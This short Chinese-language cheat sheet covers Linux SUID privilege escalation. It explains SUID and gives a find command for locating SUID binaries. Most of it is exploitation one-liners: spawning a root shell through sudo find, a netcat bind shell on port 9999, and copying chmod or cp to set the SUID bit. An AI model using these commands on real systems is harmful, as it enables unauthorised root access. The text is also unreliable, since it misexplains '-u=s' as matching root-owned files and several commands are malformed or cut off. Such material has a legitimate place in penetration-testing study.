SUID (Set owner User ID up on execution) 是给予文件的一个特殊类型的文件权限。在 Linux/Unix中,当一个程序运行的时候, 程序将从登录用户处继承权限。SUID被定义为给予一个用户临时的(程序/文件)所有者的权限来运行一个程序/文件。用户在执行程序/文件/命令的时候,将获取文件所有者的权限以及所有者的UID和GID。
查找suid文件
find / -perm -u=s -type f 2>/dev/null
/表示从文件系统的顶部(根)开始并找到每个目录
-perm 表示搜索随后的权限
-u = s表示查找root用户拥有的文件
-type表示我们正在寻找的文件类型
f 表示常规文件,而不是目录或特殊文件
2表示该进程的第二个文件描述符,即stderr(标准错误)
表示重定向
/ dev / null是一个特殊的文件系统对象,它将丢弃写入其中的所有内容。
利用方式:
find命令
sudo find . -exec /bin/sh \; -quit
进行反弹shell也可以
find dirty -exec nc -lvp 9999 -e /bin/sh ;
chmod命令
sudo sh -c 'cp $(which chmod) .; chmod +s ./chmod
ash,linux shell
sudo ash
cp命令
sudo sh -c 'cp $(which cp) .; chmod +s